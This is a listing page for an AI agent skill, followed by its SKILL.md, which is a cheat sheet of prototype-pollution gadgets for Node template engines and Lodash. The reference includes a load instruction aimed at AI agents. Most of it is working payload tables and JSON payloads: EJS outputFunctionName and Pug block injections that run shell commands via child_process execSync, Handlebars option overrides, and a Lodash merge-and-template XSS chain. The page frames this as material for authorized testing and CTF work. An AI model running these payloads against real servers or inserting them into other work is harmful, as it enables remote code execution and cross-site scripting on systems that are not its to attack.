
Prototype Pollution Advanced
Pick known prototype-pollution gadgets and trigger paths after you have confirmed PP on a Node or template stack.
Overview
prototype-pollution-advanced is an agent skill for the Ship phase that maps confirmed prototype pollution to framework-specific gadgets, triggers, and impact (XSS/RCE).
Install
npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution-advancedWhat is this skill?
- Gadget tables for server-side template engines (EJS, Pug, and related) with polluted properties, triggers, and RCE impac
- JSON __proto__ payload patterns such as outputFunctionName for EJS res.render() chains
- Version and trigger columns so you match gadgets to the library actually running on the target
- Explicit AI load instruction: use only after prototype pollution is already confirmed
- Impact labels (XSS vs RCE) tied to concrete render/compile entry points
- Gadget tables cover multiple Express template engines with per-property trigger and version columns
Adoption & trust: 1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You proved prototype pollution exists but do not know which polluted property on EJS, Pug, or similar libraries actually fires RCE or XSS in your stack.
Who is it for?
Builders doing authorized security review or CTF-style testing on Node/Express apps where PP is already confirmed and template engines are in the attack surface.
Skip if: Greenfield feature implementation, unconfirmed guessing at PP without evidence, or production exploitation without explicit permission.
When should I use this skill?
Prototype pollution is confirmed on the target and you need a matching gadget for the framework or library in use.
What do I get? / Deliverables
You select a version-matched gadget, understand the trigger endpoint (for example res.render), and can validate fixes or document risk with concrete payload patterns.
- Matched gadget row with polluted property and trigger
- Documented payload pattern for reproduction in a lab
- Impact classification (XSS/RCE) tied to library version
Recommended Skills
Journey fit
Exploit chaining and gadget selection belong in the security hardening and offensive-validation lane before or during release, not in idea or growth tooling. The content is a security reference for confirmed pollution→impact (XSS/RCE), which maps directly to appsec testing in Ship.
How it compares
Reference gadget cheat sheet after confirmation—not a replacement for dependency scanning or secure merge patterns in application code.
Common Questions / FAQ
Who is prototype-pollution-advanced for?
Developers and security-minded solo builders testing their own APIs or licensed engagements who need gadget names and triggers once prototype pollution is verified.
When should I use prototype-pollution-advanced?
During Ship security review when a PP finding exists and you must match Express/EJS/Pug (or listed libraries) to a known escalation path before patching or reporting.
Is prototype-pollution-advanced safe to install?
The skill contains offensive security reference material; only use on systems you own or are authorized to test, and review the Security Audits panel on this page before install.
SKILL.md
READMESKILL.md - Prototype Pollution Advanced
# Prototype Pollution — Known Gadgets Reference > **AI LOAD INSTRUCTION**: Comprehensive gadget table for prototype pollution exploitation. Load this when you've confirmed PP and need to find a matching gadget for the target's framework/library. Each entry includes the polluted property, trigger condition, impact (XSS/RCE), and affected versions. --- ## 1. EXPRESS TEMPLATE ENGINES (Server-Side → RCE) ### EJS (Embedded JavaScript) | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `outputFunctionName` | `"x;process.mainModule.require('child_process').execSync('id');s"` | Any `res.render()` call | RCE | All versions with `opts` merge | | `destructuredLocals` | Array injection to control variable declarations | `res.render()` | RCE | EJS 3.x | | `escapeFunction` | Replace escape function with code | `res.render()` with HTML escaping | RCE | EJS 2.x–3.x | | `client` | `true` → changes compilation mode | `res.render()` | Code path change | All | ```json {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('COMMAND');s"}} ``` ### Pug (formerly Jade) | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `block` | `{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('COMMAND');//"}` | `pug.compile()` / `pug.render()` | RCE | Pug 2.x–3.x | | `self` | `true` + `line` injection | Template compilation | RCE | Pug 2.x | | `debug` | `true` → outputs source code | Template compilation | Info disclosure | All | | `compileDebug` | `true` → includes debug info | Template compilation | Info disclosure | All | ```json {"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('COMMAND');//"}}} ``` ### Jade (Legacy) | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `self` | `true` | `jade.render()` | Code path change → RCE chain | Jade 1.x | | `debug` | `true` | Compilation | Source disclosure | All | ### Mustache / Handlebars | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `type` | `"Program"` with malicious body | `Handlebars.compile()` | RCE | Handlebars 4.x | | `allowProtoMethodsByDefault` | `true` | Any template render | Enables prototype method access | Handlebars 4.6+ | | `allowProtoPropertiesByDefault` | `true` | Any template render | Enables prototype property access | Handlebars 4.6+ | | `helpers` | Custom helper functions | Template with `{{helper}}` | RCE | All | ```json {"__proto__":{"allowProtoMethodsByDefault":true,"allowProtoPropertiesByDefault":true}} ``` ### Nunjucks | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `type` | `"Code"` with value containing malicious code | `nunjucks.render()` | RCE | Nunjucks 3.x | | `autoesc` | `false` → disable auto-escaping | Template render | XSS escalation | All | ### Twig.js | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `allowInlineIncludes` | `true` | Template include | File inclusion | Twig.js 1.x | | `rethrow` | Custom function | Error handling | Code execution | Twig.js 1.x | --- ## 2. LODASH | Polluted Property | Payload | Trigger | Impact | Versions | |---|---|---|---|---| | `sourceURL` | `"\u000ajavascript:alert(1)//"` | `_.template()` execution | XSS | Lodash < 4.17.21 | | `template` | Template string | `_.template()` | Code injection | All | | `imports._.templateSettings.interpolate` | Custom regex | `_.template()` | Code injection | All | Vulnerable functions (merge sinks, NOT gadgets): - `_.merge(target, source)` — deep merge, writes to prototype - `_.defaultsDeep(target, source)` — same - `_.set(obj, path, value)` — if path is `__proto__.x` - `_.setWith(obj, path, value)` — same ```javascript // Pollution via merge: _.merge({}, JSON.parse('{"__proto__":{"sourceURL":"\\u000ajavascript:alert(1)//"}}')); // Trigger: _.template('hello')(); ```